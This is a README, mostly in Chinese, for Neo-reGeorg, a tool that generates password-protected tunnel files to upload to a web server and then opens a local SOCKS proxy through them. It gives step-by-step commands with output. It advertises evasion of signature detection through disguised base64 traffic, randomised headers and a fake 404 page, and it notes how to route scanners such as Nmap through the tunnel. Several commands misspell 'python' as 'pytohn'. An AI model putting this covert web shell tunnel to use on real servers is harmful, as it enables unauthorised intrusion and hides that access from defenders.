Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目，目的是：

• 提高 tunnel 连接安全性
• 提高可用性，避免特征检测
• 提高传输内容保密性
• 解决 reGeorg 现存在的问题，修复部分小BUG

Features

• 传输内容经过变形base64加密，伪装成base64编码
• GET 请求响应可定制化 (如伪装的404页面)
• HTTP Headers 的指令随机生成，避免特征检测
• HTTP Headers 可定制化
• 兼容python2 / python3

Version

1.0.0

Dependencies

• [requests] - https://github.com/kennethreitz/requests

Basic Usage

• Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|php) 并上传到WEB服务器

$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_server/tunnel.nosocket.php
       => neoreg_server/tunnel.js
       => neoreg_server/tunnel.php
       => neoreg_server/tunnel.ashx
       => neoreg_server/tunnel.aspx
       => neoreg_server/tunnel.tomcat.5.jsp
       => neoreg_server/tunnel.jsp

• Step 2. 使用 neoreg.py 连接WEB服务器，在本地建立 socks 代理

$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [ERROR]
  Starting socks server [127.0.0.1:1080], tunnel at [http://k/tunnel.php]
+------------------------------------------------------------------------+

注意，如果你的工具，如NMap不支持socks代理，请使用 proxychains

Advanced Usage

1. 支持生成服务端，默认 GET 请求响应指定的页面内容 (如伪装的404页面)

$ python neoreg.py generate -k <you_password> --file 404.html
$ pytohn neoreg.py -k <you_password> -u <server_url> --skip

2. 如服务端WEB，需要设置代理才能访问

$ pytohn neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080

3. 如需Authorization认证，或者定制的Header或Cookie

$ pytohn neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value"
